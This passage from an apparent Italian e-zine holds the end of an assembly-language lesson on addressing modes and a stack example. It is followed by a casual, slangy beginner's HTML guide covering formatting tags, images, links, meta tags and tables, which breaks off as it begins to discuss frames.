(autoinc.) L'operando e' come il precedente, ma successivamente all'accesso Rn viene incrementato. -(Rn) (autodec.) Prima il contenuto di Rn viene decrementato, poi si accede all'operando come in registro indiretto (Rn). m(Rn) (indice) L'operando e' nell'indirizzo di memoria ottenuto sommando il numero m, al contenuto del registro Rn. #m (immediato) L'operando e' il numero m. m (relativo) L'operando e' il contenuto della cella di indirizzo m. @#m (assoluto) L'operando e' il contenuto della cella di memoria, il cui indirizzo e' m. @m (indiretto) L'operando e' contenuto nella cella il cui indirizzo e' a sua volta contenuto nella cella di indirizzo m. ------------------------------------------------------------------------------- Vediamo ora di chiarire le idee con un semplice esempio: Stato iniziale: REGISTRI: R1 = 100 R5 = 200 CELLE DI MEMORIA: indirizzo:50 contenuto:153 indirizzo:99 contenuto:106 indirizzo:100 contenuto:102 indirizzo:150 contenuto:152 indirizzo:152 contenuto:500 indirizzo:153 contenuto:600 ISTRUZIONE EFFETTO MOV R1,R5 R1=100 R5=100 MOV (R1),R5 R1=100 R5=102 MOV (R1)+,R5 R1=101 R5=102 MOV -(R1),R5 R1=99 R5=106 MOV 50(R1),R5 R1=100 R5=152 MOV @50,(R1),R5 R1=100 R5=500 MOV #50,R5 R1=100 R5=50 MOV 50,R5 R1=100 R5=153 MOV @#50,R5 R1=100 R5=153 MOV @50,R5 R1=100 R5=600 Notiamo che i modi relativo ed assoluto sono apparentemente identici, in seguito vedremo come pero' vengano trattati dalla macchina in maniera differente in fase di rilocazione. _Direttive per riservare memoria .RES n ; riserva n celle di memoria NON inizializzate. .INT n ; riserva una cella, inizializzandola con il numero n. .STRING /xxx/ ; riserva una cella per ogni carattere della stringa xxx. ricordo che con l'istruzione VETTORE: .RES 10 riservo 10 celle di memoria, il cui indirizzo iniziale e' 'VETTORE'. _Direttive di assegnamento Una direttiva di assegnamento e' costituita da un nome simbolico, l'= ed un numero o un'espressione: COST = 50 e', per esempio, una direttiva di assegnamento. Essa associa il valore 50 alla notazione simbolica COST; rendendo possibile l'uso di COST nel caso serva 50: MOV COST(R1),R2 == MOV 50(R1),R2 Sono oltretutto possibili espressioni del tipo A=15 B=25 C=A+B MOV #C,R3 ....... durante il processo di traduzione in forma binaria, le direttive di assegnamento sono sostituite dai rispettivi valori assegnati, quindi e' esclusivamente una notazione di comodita'. _Concludendo: Realizziamo uno STACK Lo STACK (o pila) e' una struttura dati LIFO (last in first out); cioe' leggeremo sempre l'ultimo dato introdotto, poi il penultimo etc. L'operazione di immissione dati e' chiamata push, mentre l'estrazione pop. Vediamo come realizzare un eco al contrario di 5 caratteri immessi da tastiera: PILA: .RES 5 ;riserva 5 celle, indirizzo 1^=PILA START: MOV #5,R1 ;metti numero 5 in R1 MOV #PILA,R0 ;metti in R0 l'ind. della prima cella PUSH: TREAD$ (R0) ;leggi e metti in pila INC R0 ;incrementa R0 DEC R1 ;decrementa R1 TST R1 ;guarda R1 BPL PUSH ;se e' > 0 salta a PUSH POP: DEC R0 ;decrementa R0 TWRITE$ (R0) ;scrivi elemento puntato da R0 (ultimo) CMP R0,#PILA ;confronta R0 con indirizzo PILA BGT POP ;se maggiore, salta a POP .EXIT$ .END START abbiamo cosi' realizzato un eco rovesciato di 5 caratteri, vediamo ora come ci troveremo + comodi usando autoincremento ed autodecremento come metodi di indirizzamento, riscriviamo lo stesso programma: PILA: .RES 5 START: MOV #5,R1 MOV #PILA,R0 PUSH: TREAD$ (R0)+ DEC R1 TST R1 BPL PUSH POP TWRITE$ -(R0) CMP R0,#PILA BGT POP EXIT$ .END START Gli indirizzamenti autoincremento ed autodecremento sembrano fatti su misura per questa struttura dati. N.B. Per motivi di spazio e di tempo dividero' il corso in 4 parti, questa e' la prima, poi ci saranno: _le subroutine e le macro; _le operazioni sui bit; _le specifiche dei processori sul mercato; nulla di particolare, spero che possa essere d'aiuto a qualcuno, io intanto sfrutto l'occasione per ripassarmi queste parti..... cercando di passare 'sistemi operativi' ke e' una mazzata d'esame ..... cya .==================================================================[ html ]====. | Piccola guida all'HTML | °===========================================[ [T]wister - t-wister@libero.it ]=° Salve gente =) Allora, come forse avrete immaginato, si parlera' di HTML, partendo dalle basi e fino a provare a costruire il nostro primo sito ;) Okkkei, let's go ! L'HTML (e mi raccomando, il codice, non quelle "schifezze" di editor grafici) si basa su TAG che servono ad indicare ai Browser (Netscape, Explorer, ecc) come formattare e visualizzare la pagina. I TAG sono racchiusi tra " <> " e hanno nella maggior parte dei casi un TAG di apertura e uno di chiusura. In pratica la sintassi e' : -----> Tag di apertura -----> Tag di chiusura Come potete immaginare la barra "/" serve a chiudere TUTTI i tag aperti =) Vediamo ora come iniziare a costruire la nostra prima pagina. Una pagina web e' racchiusa tra i TAG e ed e' a sua volta divisa in due parti e ; la struttura quindi e' questa : ........ ........... Bene, bene ora vediamo di iniziare a mettere qualcosa nella pagina... Per scrivere la vostra pagina e' sufficiente che apriate il blocco note, ci scriviate dentro il codice e salviate tutto con l'estensione .html o .htm, se volete potete subito iniziare a familiarizzare con qualche editor (mi raccomando NON grafico, per intenderci non come FrontPage) che vi consentira' di automatizzare e rendere piu' veloce la scrittura della pagina, sempre consentendovi pero' il completo controllo sul codice. Questo secondo me e' il migliore dei modi per imparare l'HTML e per ottenere pagine che sono COME voi le volete =) Come EDITOR posso consigliarvi Hot Dog o 1-4-All per Windows o Screem per Linux. Ora finita questa parentesi quadra ricominciamo =)) All'interno dei tag va inserito il tag che contiene il "titolo" della pagina, cioe' quello che appare sulla barra blu in alto di Explorer o Netscape. Per capire meglio provate questo : <HTML> <HEAD> <TITLE> Questa e' la mia pagina Salvate il tutto come prima.html (o come cazz volete) e guardatevela....ooppps! Ma non c' e' nulla =) Vogliamo lasciarla cosi' ? Solo con un titolo pressoche' inutile? Ceeerto che no ;) Tutto quello che verra' visualizzato all'interno della pagina VA INSERITO tra i tag , d'ora in poi, per comodita', non scrivero' piu' negli esempi i tag e lasciandoli per scontati. Iniziamo a scrivere qualcosa. Il tag per avere il miglior controllo sul testo e' il tag <FONT> con le sue varie opzioni, ovvero SIZE, COLOR e FACE. L'opzione SIZE indica la grandezza del font e puo' andare da 1 a 7. L'opzione COLOR indica la scelta del colore e questo puo' essere scritto o nella forma di TRIPLETTA ESADECIMALE (ad es FFFFFF = bianco, 000000 = nero e 00FF00 = verde) che e' mooolto precisa, ma mooolto scomoda (anche se la maggior parte degli editor ha una funzione apposta) oppure utilizzando alcuni colori base per i quali e' possibile utilizzare il nome (l'elenco di questi e' riportato poco piu' avanti) L'opzione FACE indica il tipo di carattere scelto... tuttavia per far si che la formattazione sia corretta sulla macchina di chi verra' (si spera) a visitare il vostro sito e' necessario che il font sia installato sulla SUA macchina. Probabilmente avrete subito rizzato le antenne e pensato "E mo come ovvio a questo ovvio problema? " ... non preoccupateve che ve spiego =) Le soluzioni sono a mio avviso TRE : 1 - I FONT STANDARD --> all'opzione FACE associamo uno dei 5 font standard ovvero Garamond, Times New Roman, Ms Sans Serif, Courier e Arial. Questi sono supportati da QUALUNQUE browser grafico su QUALUNQUE piattaforma. In genere si consigliano i font Times New Roman e Garamond per lunghe parti di testo perche' sono i piu' leggibili e meno stancanti per gli occhi. 2 - SE NON HO SFIGA --> In pratica, per esperienza, potete andare abbastanza (e dico abbastanza) sul sicuro nel scegliere il font che volete poiche' quasi tutti quelli che verranno a visitare il vostro sito avranno Windows (o Mac) con molti font installati per i programmi di GRAFICA e EDITOR TESTI. Su questi, a meno di non scegliere font particolarmente recenti o astrusi andate sul sicuro... per Linux correte qualche, minimo, rischio in piu'. Tuttavia ricordate che se il browser non trova il font sul HD sostituira' il font della pagina con il uno suo predefinito senza compromettere piu' di tanto il tutto. 3 - DOWNLOAD --> Mettete un link a un download (come ve lo spieghero' piu' avanti) del font. In definitiva, per i vostri titoli strani o le vostre scritte artistiche usando una combinazione dei punti 2 e 3 sarete certi di soddisfare tutti. Bene, dopo tanta bella teoria passiamo alla pratica. <BODY> <FONT FACE="Garamond" SIZE="1" COLOR="black">Questa scritta e' piccola</FONT> <BR> <FONT FACE="Garamond" SIZE="7" COLOR="black">Questa scritta e' grande</FONT> </BODY> Ecco qua, scrivetelo, guardatevelo e provate a cambiare qualche parametro... e' il modo migliore per imparare =) Visto e considerato che non rischiate di formattare o altro =) Allora prima di proseguire vediamo di spiegare il codice precedente nel quale sono apparse alcune cose che ancora non dovreste conoscere : 1 --> (facilmente intuibile) i parametri di QUALSIASI TAG vengono sempre passati con la sintassi OPZIONE="param" (in questo caso "black" e' uno di quei famosi colori esprimibili con un nome) . 2 --> il tag <BR> (che non ha bisogno di tag di chiusura) serve a andare a capo, subito dopo la parola dietro alla quale e' stato messo il tag. Allo stesso modo funziona il tag <P> , che pero' lascia anche una riga di intervallo tra una parola e l'altra...per capire meglio provate a sostituire <BR> con <P> ... se vi formatta l'HD mandatemi un'e-mail ;) 3 --> non centra molto, comunque e' importante sapere che l'HTML NON e' CASE SENSITIVE, in pratica se scrivete <HEAD> o <head> o <HeAd> non dovrebbe far differenza (99%) tuttavia conviene scegliere una via e mantenere quella, cercando di evitare i mix maiuscole-minuscole nello stesso tag Bene ora sappiamo come scrivere quello che ci pare, come ci pare, nella nostra bella paginotta... tirate un sospiro di sollievo, bevetevi qualcosa e si riparte =) Vogliamo togliere quello sfondaccio bianco di default e dargli un po' di colore? Bene bisogna modificare le OPZIONI del tag BODY... vediamo quali sono: BGCOLOR="blue" --> sceglie un colore di sfondo BACKGROUND="figona.jpg" --> se preferite una foto come sfondo o una texture, infatti il browser automaticamente ripetera' l'immagine di sfondo fino a riempire completamente il background. TEXT="blue" --> colore del testo della pagina VLINK="blue" --> colore di un link (collegamento) visitato ALINK="blue" --> colore del link attivo in quel momento LINK="blue" --> colore di un link Bene bene bene....inizia a diventare interessante vero?? E' il momento della "famosa" lista dei colori che potrete utilizzare senza necessariamente doverne conoscere la tripletta esadecimale : black, green, silver, lime, gray, olive, white, yellow, maroon, navy, red, blue, purple, teal, fuchsia, e aqua. Siete felici? Non ve ne potrebbe fregare di meno? Vabbe' comunque fate qualche prova in modo da prendere un po' di dimestichezza...non mi stanchero' di ripeterlo =) Passiamo ora ad un altro argomentino simpatico... la FORMATTAZIONE DEI TESTI, in pratica si tratta di una serie di tag che potrete utilizzare per ottenere testo in grassetto o sottolineato o preformattato ecc =) I tag hanno tutti bisogno di un'apertura e una chiusura e il loro funzionamento e' molto semplice, basta racchiudere il testo che volete formattare tra i tag =) Quindi non ci dilungheremo molto per passare al piu' presto a qualcosa di carino come le immagini =) Comunque ecco qua i principali : <B> </B> ---> Testo in grassetto <U> </U> ---> Testo sottolineato <I> </I> ---> Italico <PRE> </PRE> ---> Testo preformattato (come lo scrivete appare) <SUP> </SUP> ---> Apici (leggermente piu' in alto rispetto alla linea) <SUB> </SUB> ---> Pedici (leggermente piu' in basso rispetto alla linea) <STRIKE> </STRIKE> ----> Testo sbarrato <BLOCKQUOTE> </BLOCKQUOTE> ---> Testo rientrato <CITE> </CITE> ----> Quello tipico degli HOW-TO generalmente in corsivo =) <EM> </EM> ----> Enfatizza il testo... corsivo <STRONG> </STRONG> ----> Enfatizza il testo...grassetto <H1><H2>...<H6> </H1>...</H6> --> Usato per i titoli a numero minore maggiore grandezza. E questo era quanto... in linea di massima non sono usatissimi...userete soprattutto <U> <B> <I> e forse <BLOCKQUOTE> anche se lo stesso effetto puo' essere ottenuto mediante un uso accurato delle tabelle...strumento mooooolto piu' potente =) L'uso di questi tag tornera' utile quando si definiranno degli stili per i vari tag... ma questa e' un'altra storia (non preoccupatevi...arriveremo anche li') Solo un piccolo avviso i tag html vanno chiusi nell'ordine inverso in cui sono aperti in pratica a formare "cerchi" concentrici : <H1><B><FONT> .... </FONT></B></H1> ----> CORRETTO =) <H1><B><FONT> .... </H1></B></FONT> ----> Naaaaaaaaaaaaaaa =))) Se vi tramapate qua e' una delle poke volte in cui vedrete andare a pu.... il codice =) Okkei. Passiamo ora (finalmente) alle IMMAGINI =) Avete la vostra bella pagina? Ci sapete scrivere quello che volete? Bene. Qualche immagine non puo' che fare bene ;) Il tag per la vostra bella immaginotta e' <IMG> e ha un paio di bei parametrozzi. Niente di piu' explicativo di un bell'esempiuccio =) La nostra immagine sara' "Selen.jpg" (uniamo utile e dilettevole) e sara' larga (width) 200 pixel e alta (height) 400 pixel (mi raccomando sono le misure dell'immagine non pensate male=) ) Vediamo come inserirla nella pagina : <BODY> <IMG SRC="Selen.jpg" WIDTH="200" HEIGHT="400" BORDER="0" ALT="Quella gnoccolona di Selen" ALIGN="left"><P> </BODY> Okkei, non uccidetemi ero pigro e non ho scritto nulla =) Comunque vediamo di spiegare bene cotesto TAG e i suoi attributi : SRC --> indica al browser dove cercare l'immagine (usate Gif o Jpg...al limite Png, ma sono meno diffuse), se questa si trova nella stessa dir della pagina basta il nome se no dovete mettere il path, tipo /Immagini/Selen.jpg. WIDTH, HEIGHT --> servono a definire grandezza e larghezza dell'immagine, vi consiglio di usarli *SEMPRE* perche' cosi' il browser allochera' automaticamente lo spazio necessario nella pagina velocizzando il caricamento. Un uso carino di width e height puo' essere quello di fa un puntino di un colore e poi cambiarne altezza e grandezza usando width e height =) BORDER --> crea un bordo intorno all'immagine di "X" pixel, se non volete che mettendo un link la vostra immagine si ritrovi con un ORRENDO bordo blu usate BORDER="0" :) ALT --> serve a inserire del testo che apparira' nello spazio dell'immagine finche' non sara' caricata o se il caricamento non andra' a buon fine. L'utente cosi' sapra' che lo aspetta. ALIGN --> left, right, center, bottom, top non vi posizionera' l'immagine nella pagina (per questo usate le tabelle =) ) ma formattera' il testo a sinistra, sopra, intorno ecc ad essa. Questi sono quelli piu' usati (anche se ALIGN si usa poco perche' per formattare il layout della pagina ormai si usano soprattutto le tabelle... comunque per pezzi veloci se puo' fa ) Per la cronaca vi aggiungo anche HSPACE="numeropixel" e VSPACE="numeropixel" per creare una sorta di cuscinetto attorno all'immagine. Azz....anche questa e' fatta, ormai credo sia la quarantesima volta che sento "Radio", segno che si sta facendo lunga =) Mettiamo su anke Cranberries e Radiohead e annamo avanti. Ora siamo in grado di mettere immagini, sfondi e scrivere testi. Per le immagini ricordateve che per eliminare gli "sfondi" delle immagini dovete usare le gif trasparenti...mentre per le immagini grandi e colorate usate le jpg ke occupano di meno... e mi raccomando non esagerate con pagine *TROPPO* pesanti ok? Bene ancora due dritte di formattazione e poi passiamo a cio' che ha reso GRANDE il Web e ne ha permesso la diffusione, gli ipertesti. Prima pero' un tag carino <CENTER> </CENTER>. Tutto quello che ficcherete in sto tag verra' centrato nella pagina, molto utile ma non abusatene :) Un altro tag interessante e' il tag <HR> </HR> che serve ad inserire una riga nella pagina. La sintassi e' : <HR WIDTH="pixel" HEIGHT="pixel" ALIGN="left,right,center" COLOR="colore"> In aggiunta c'e' il parametro NOSHADE che serve ad evitare quella sorta di ombreggiatura tridimensionale che i browser fanno sulla riga. Facciamo un esempi carino di questi due ultimi tag: <BODY> <CENTER> <HR WIDTH="75%" HEIGHT="1" COLOR="black"><P> // se puo' usare la percentuale <IMG SRC="Selen.jpg" WIDTH="200" HEIGHT="400" BORDER="0" ALT="Quella gnoccolona di Selen" ALIGN="left"><P> <HR WIDTH="75%" HEIGHT="1" COLOR="black"> </CENTER> </BODY> Carino no? =) Bene abbiamo l'ultima formattazione, quella per creare degli elenchi numerati o no. I tag sono <OL> </OL> per gli elenchi ordinati e <UL> </UL>. Gli elementi della lista vanno messi ciascuno dopo un TAG <LI> che *NON* ha bisogno di tag di chiusura. Iniziamo dal tag <OL>. Esempiotto : <OL TYPE="1"> <LI>Elemento n.1 <LI>Elemento n.2 </OL> Dovrebbe essere abbastanza chiaro, l'unica cosa e' il parametro TYPE che ha cinque possibili definizioni : 1 ---> Inserira' un elenco numerato 1, 2, 3, ecc. A ---> Usera' le lettere MAIUSCOLE dell'alfabeto A, B, C ecc. a ---> Usera' le lettere MINUSCOLE dell'alfabeto a, b, c ecc. I ---> Usera' i numeri romani MAIUSCOLI I, II, III ecc. i ---> Usera' i numeri romani MINUSCOLI i, ii, iii ecc. E questo e' tutto =) Il tag <UL> e' molto simile : <UL TYPE="circle"> <LI> Elemento 1 <LI> Elemento 2 </UL> Dove Type puo' essere CIRCLE (circolini vuoti) DISCS (circolini pieni) e SQUARE (quadratini). Non e' necessario che impariate subito tutto a memoria, fatevi un'idea di base e poi ritornate su qualche argomento meno importante nel momento in cui ne avrete bisogno =) Questo che inizia adesso non e' un argomento importante, e' FONDAMENTALE =) Parleremo di link e ipertesti e creeremo ancore (rimandi) all'interno della stessa pagina. Il magico TAG che fa tutto e' molto breve <A> </A> =) Per creare un bell'ipertesto usiamo: <A HREF="http://www.selen.com">testo</A> Qualche breve puntualizzazione : 1 - dopo HREF ce possiamo mette o un url esterno (con un rimando a un http, ftp gopher ecc) oppure interno al sito, in tal caso vale la stessa regola delle immagini, quindi basta indicarne il path tipo : <A HREF="selenpage.html"> --> stessa directory <A HREF="/Pages/Selen.html"> --> altra dir =) Se invece che a una pagina web o ftp ecc ci mettete un bel link a una applicazione avrete creato un bel download =) Usate sempre lo .zip =) Oppure .mp3 se non vi fanno saltare il sito.... Un link a un'immagine la apre in una finestra con sfondo bianco. 2 - Tra i tag <A> </A> ce potete mettere quello che volete, e tutto quello ivi (come sono acculturato...) compreso sara' un unico grande link alla suddetta (stasera festa...) paginozza. 3 - Un utile parametro del tag e' TARGET che approfondiremo quando si parlera' poi di frame...per ora vi basti sapere che usando "_blank" aprirete il link in una nuova finestra =) E ora ecco qualcosina di sfizioso =) Immaginate di aver finito la pagina e di voler mettere la solita scritta : Per ogni problema mandate 'na mail a "twister@libero.it" =) Vogliamo creare un link che AUTOMATICAMENTE apre il client e manda la posta? Cosa e' se non un normalissimo LINK? Eccolo: <A HREF="mailto:twister@libero.it?Commenti guidozza">quello che volete</A> In questo modo partira' una mail verso twister@libero.it con Subject (Oggetto) "Commenti guidozza" =). Niente male vero? C'e' ancora un altro uso di <A> da analizzare, le cosiddette ancore. Immaginate di aver creato una serie di link che pero' non devono rimandare a altre pagine ma a punti diversi di una stessa pagina. Bene prima di tutto diamo un nome a questi punti: <BODY> <A NAME="primo">Primo punto - Chi e' Selen?</A> ..... <A NAME="secondo">Secondo punto - NUDA NUDA!! </A> </BODY> I nomi DEVONO essere diversi tra loro e unici =) Ora creiamo i link di rimando : <BODY> <A HREF="#primo"> Vai a primo punto </A> <A HREF="#secondo"> Vai al secondo punto </A> .... <A NAME="primo">Primo punto - Chi e' Selen?</A> ..... <A NAME="secondo">Secondo punto - NUDA NUDA!! </A> </BODY> Et voila', avete fatto pure le ankorette =) Ovviamente e' possibile anke l'uso combinato =) <A HREF="selen.html#nuda"> Crea un collegamento alla pagina selen.html portandoti direttamente nel punto a cui e' stato dato il nome "nuda". Bene direi che per cominciare a sbizzarrirvi un po' con l'HTML questo puo' andare =) Nelle prossime "lezioni" (ma daiii) si parlera' di qualcosina di piu' avanzato come le TABELLE (necessarie per la formattazione) i FRAME e I FORM e cosi' con l'HTML classico dovremmo essere apposto =) Prima di salutarvi consentitemi qualche ringraziamento: DEDICA PERSONALE : A Ilaria, una mia grandissima amica e compagna di classe troppppooooo MITICA =) SPECIAL THANKS TO: X3V|L574R (mi ci hai messo tu in sta "faticaccia"?! =) ) [KC] and the others of #mentor ^Ragno^ (per te sempre un ringraziamento speciale) Davide (il mio vicino di banco) zeta-K SPECIAL FUCK TO : Tutti quelli che mi dicono di lasciar perdere il computer A Frontpage (odio quel programma =) ) A chi mi odia, basta che sia reciproco ;) E questo era proprio tutto. Alla PROXIMA .==================================================================[ html ]====. | Appendice (non e' una malattia): i meta tag | °===========================================[ [T]wister - t-wister@libero.it ]=° Salve raga.... pensavate di esservi liberati di me vero? =) Invece rieccome qua con una piccola appendice per parlarvi dei META TAG. Innanzitutto una piccola premessina, i META TAG non sono per nulla necessari, quindi anke senza conoscerli la vostra paginotta funzionera', pero' sono utili nel caso vogliate registrarvi a qualche motore di ricerca oppure se volete ottenere un effetto interessante di refresh (oltre a rendere le vostre pagine molto piu' professionaliiiiiiii =) ) Ma andiamo con ordine. Dove mettere i tag <META> ? Prima del BODY ;), in pratica ficcatelo nell'HEAD (volendo si potrebbe anche prima, ma li' e' comodo) prima del tag <TITLE> e dell'eventuale tag <SCRIPT>. In pratica dev'essere il primo tag. A che diavolo serve ? Il tag meta, che viene automaticamente creato da alcuni editor, serve a dare informazioni aggiuntive al browser o al motore di ricerca sul documento. Vediamo come si usa. Il tag <META> non ha chiusura, in quanto non deve racchiudere nulla, possedendo gia' nella sua sintassi tutte le informazioni necessarie :) Il tag ha tre parametri : HTTP-EQUIV e NAME da una parte, CONTENT dall'altra. Perche' ve li ho divisi? Sono diventato pazzo? Beh pazzo lo sono da un pezzo ma non e' questo il motivo =) (p.s. sono completamente SKIZZATO) Il vero motivo e' la funzione. Esempiuccio poi ne riparliamo <META HTTP-EQUIV=refresh CONTENT="20"> <META NAME=author CONTENT="Twister"> Come potete iniziare a osservare il parametro CONTENT contiene il valore della "classe" scelta con HTTP-EQUIV o NAME. Sebbene le virgolette non siano necessarie nemmeno per quest'opzione il mio spassionato e personale consiglio e' quello di usarle. Addentriamoci un po' di piu' negli altri due parametri e vediamo cosa ci puo' interessare: HTTP-EQUIV Tre sono le "classi" che possiamo scegliere per HTTP-EQUIV : 1 - refresh --> E' di gran lunga la piu' interessante perche' implementa il cosiddetto "client-pull" che permette di ricaricare una pagina a intervalli di tempo regolari passate da CONTENT="sec". E' da notare che in questo modo la pagina verrebbe ricaricata infinite volte dopo tot tempo. Per ovviare a questa situazione e' sufficiente specificare un URL senza meta refresh con la seguente sintassi : <META HTTP-EQUIV=refresh CONTENT="30,http://www.selen.it" L'URL *DEVE* assolutamente essere completo, quindi non e' ammessa la sintassi con la pagina locale "selen.html", ma si dovrebbe ipoteticamente mettere : http://www.selen.it/selen.html 2 - Keywords -> Fornisce un elenco di termini separati da uno spazio utilizzati dai motori di ricerca per reperire piu' velocemente il documento che viene ricercato. E' ovvio che le parole devono riferirsi al contenuto del sito ed e' meglio evitare lo spam usando parole come "sesso", "giubileo", "free", "twister" (in questo ultimo caso non esce nulla =)) ) La sintassi: <META HTTP-EQUIV=keywords CONTENT="twister html guidozza" 3 - Reply-to -> Ve lo metto per correttezza anche se e' INUTILIZZATO e INUTILE. In pratica fornisce l'indirizzo e-mail dell'autore: <META HTTP-EQUIV=reply-to CONTENT="t-wister@libero.it"> L'indirizzo NON APPARIRA' ASSOLUTAMENTE NELLA PAGINA =) NAME Le informazioni contenute nella classe NAME posso essere definite con una sola parola : AGGIUNTIVE, in pratica non passeranno dal lato del server e non dovrebbero essere consegnate al motore di ricerca (anche se ormai alcuni le leggono). Queste sono spesso automaticamente inserite da alcuni editor come Frontpage (arrgghhhh odio vedere certi meta nelle pagine, se proprio volete usarlo cancellate i meta!!!) o Arachnofilia ecc. Il mio consiglio e di editarli nel caso l'editor li metta, e' un'operazione di pochi minuti e vi fara' fare una gran bella figura. Vediamo pero' i parametri di NAME: 1 - Author ---> Serve a indicare l'autore della pagina. <META NAME=author CONTENT="Twister"> <META NAME=author CONTENT="Microsoft Frontpage 3.0"> argghh!! 2 - Description --> Ficcatece qui una breve descrizione della pagina, alcuni motori di ricerca, tipo Virgilio, in mancanza di altro finiscono con visualizzare questo =) <META NAME=description CONTENT="Il sito di Selen"> 3 - Copyright --> Personale idea NON USATELO MAI. Se dovete impressionare chi vi ha commissionato il sito magari potete farci un pensierino, ma piccolo piccolo =) <META NAME=copyright CONTENT="Twister's brain"> Ma vi ripeto tra web-creator e' malvisto quasi come Frontpage. E questo era tutto quello che potevate desiderare di sapere (spero) per usare a vostro vantaggio i META TAG...niente di determinante ma un tocco di classe in piu' nelle vostre paginozze =) Alla PROXIMA .==================================================================[ html ]====. | Piccola guida all'HTML (Parte Seconda) | °===========================================[ [T]wister - t-wister@libero.it ]=° Let's the fun go on ;) TABELLE E FRAMES Salve gentaglia =) (senza offesa naturalmente) Come vanno le vostre paginozze?? E come vuoi ke vadano maledetto se non ci insegni qualkosa di meglio? Okkei, okkei, calma =) Oggi inizieremo veramente a divertirci analizzando due degli argomenti piu' importanti del Web publishing le *TABELLE* e i *FRAMES*. Iniziamo dalle tabelle. LE TABELLE Prima di iniziare a vedere i TAG che servono per implementare le tabelle all'interno delle pagine HTML bisogna fare una piccola analisi del loro utilizzo. Sebbene inizialmente le tabelle fossero state introdotte per consentire la formattazione di dati provenienti da database e simili, l'uso che si e' via via andato diffondendo tra i webmaster e' quello di *FORMATTAZIONE DEL LAYOUT DI PAGINA*. In effetti le tabelle si sono dimostrate uno strumento potentissimo e assai efficace per disporre immagini e testi all'interno delle pagine e i numerosi parametri a disposizione consentono di fare praticamente qualunque cosa, dal testo su piu' colonne fino a costruzioni piu' complicate e di buon effetto. Il tag usato per inserire una tabella e' <TABLE> </TABLE> ( come probabilmente vi sarete gia' accorti l'originalita' del W3C e' notevole ). Iniziamo a vedere i parametri di questo TAG : ALIGN : come al solito questo parametro serve per far si che il browser collochi il testo a destra o a sinistra ecc della tabella, mentre se questo viene omesso, il browser allineera' la tabella a sinistra e ci sara' un'interruzione del testo. Pur essendoci, oltre a align="left" e align="right" anche align="center" quest'ultimo non e' supportato ora come ora da alcun browser e verra' *ignorato* =) WIDTH : indica la larghezza della tabelluzza e questa puo' essere espressa in pixel oppure in percentuale. Utilizzando la percentuale (es. Width="95%") la tabella variera' al variare della dimensione della finestra del browser, se invece scegliete di utilizzare i pixel (es. Width="400") otterrete una dimensione statica e costante. Qualora WIDTH non venga specificato la tabella assumera' la grandezza necessaria a contenere il testo piu' lungo tra le varie colonne. Qualora utilizziate immagini e grafica in generale si *consiglia* di usare i pixel, garantendo cosi' maggiore controllo e efficienza. BORDER : con questo parametro potrete decidere se mettere un bordo alla tabella e potrete definirne la grandezza (1, 2 ... n) con la sintassi BORDER="2". L'opzione BORDER="0", che, come credo potrete intuire, serve a NON visualizzare il bordo della tabella e' *ESTREMAMENTE* utile, visto che nel formattare la pagina questo potrebbe essere decisamente antiestetico. CELLSPACING : serve a determinare lo spazio tra le varie celle della tabella, la sintassi e' CELLSPACING="numero" (0,1,4,100,...) e il DEFAULT e' "0". CELLPADDING : serve a determinare lo spazio tra il contenuto della cella e il bordo della cella stessa. SINTASSI : CELLPADDING="numero". Bene, bene, questi sono i parametri BASE, a dire il vero alcuni browser supportano anche altri parametri, come ad esempio BORDERCOLOR="colore" per dare un colore al bordo della tabella, che non *impallano* i browser ma vengono semplicemente (di solito) ignorati :) Tuttavia non sono cosi' importanti.(E io sono un po' pigro...) Quindi passiamo oltre, visto che se gia' avete provato a usare questo tag vi sarete imbattuti in uno scabroso problema...ma come la divido sta tabella?? [T]wister dice : calma, che ci arriviamo :) Il tag per stabilire una suddivisione in *righe* e' <TR> </TR>. Esempiuzzo : (tabella con due righe) <TABLE BORDER="1" WIDTH="90%"> <TR> </TR> <TR> </TR> </TABLE> Se avete fatto tutto bene dovreste vedere una tabella con due righe =) Vista l'occasione propizia vi passo un piccolo trucchetto che mi ha salvato piu' volte nel caso di formattazioni complesse : se non riuscite a capire perche' l'immagine che dovrebbe stare a destra e' a sinistra mettete BORDER="1", avrete cosi' un'idea piu' chiara di kome sono disposti gli oggetti della pagina. <TR> ha due parametri align="left/right/center" per l'allineamento orizzontale e valign="top/bottom/middle" per l'allineamento verticale, come dico sempre SPERIMENTATE GENTE, SPERIMENTATE e in breve tempo sarete padroni del codice :) Ora che abbiamo le nostre belle righe, sarebbe un peccato non dividerle anche verticalmente, creando cosi' le *famose* celle. Il tag che fa per noi e' <TD> </TD> :) Esempiuzzo : (tabella con 4 celle) <TABLE BORDER="1" WIDTH="90%"> <TR> <TD></TD> <TD></TD> </TR> <TR> <TD></TD> <TD></TD> </TR> </TABLE> Niente male vero? Precisazione *NECESSARIA* : il tag <TD></TD> e' assolutamente *NECESSARIO* per inserire del testo o qualunque formattazione del codice HTML, infatti qualora voleste una riga sola non e' sufficiente <TR></TR> ma dovrete mettere : <TR> <TD>tuttoquellochevoleteesonopurecavolaccivostri</TD> </TR> Okkei?? Passiamo oltre e puppiamoci i vari parametri del TAG <TD> : WIDTH, HEIGHT : espressa in pixel o in percentuale serve a stabilire l'altezza e la larghezza della cella. COLSPAN : sintassi : COLSPAN="numero" serve a unire in una sola colonna piu' colonne, inglobandole come se si trattasse di una sola cella. Il numero tra virgolette indica il numero di colonne da inglobare. ROWSPAN : sintassi : ROWSPAN="numero" , idem come sopra solo che questa volta a essere inglobate sono le righe =)) ALIGN : left, right o center, per stabilire la posizione del testo... come al solito. Quindi non mi dilungo (sono pigro,pigro,pigrooo) VALIGN : top, bottom, middle, idem come sopra, non mi dilungo. E questo era quanto ci potrebbe servire per usare le tabelle, ovviamente all'interno di ciascuna cella potete mettere tutto quello che volete, anche tabelle annidate eccetera eccetera :) Di esempi ce ne sono a migliaia, se ne volete uno andatevi a vedere il codice della pagina "no flash, no frames" del nostro sito www.mentorz.org =) Bene ora prima di passare ai FRAMES concedetemi una pikkola dedika di tutto questo lavoro a Ilaria, una mia amika troppo MITIKA... FANTASTIKA... e ke occhi ragazzi !! Bene passata la crisi mistika andiamo oltre e buttiamoci sui FRAMES. I FRAMES Con i FRAMES e' possibile dividere la pagina HTML in sezioni distinte, ciascuna indipendente, e (volendo) influenzabili tra di loro. L'idea di FRAME probabilmente ce l'avrete gia' tutti visto l'enorme e a volte "orribile" uso ke se ne fa in giro per il Web :) L'utilizzo piu' classiko e piu' diffuso e' quello della barra a destra kon le varie sezioni del sito (statica, cioe' non kambia ai click), il titolozzo della pagina in alto (bello statico anke lui) e la pagina "main" nel resto della videata ke kambia a sekonda di kosa scegliete sul menu'. Penso ke ormai abbiate kapito kosa sono, 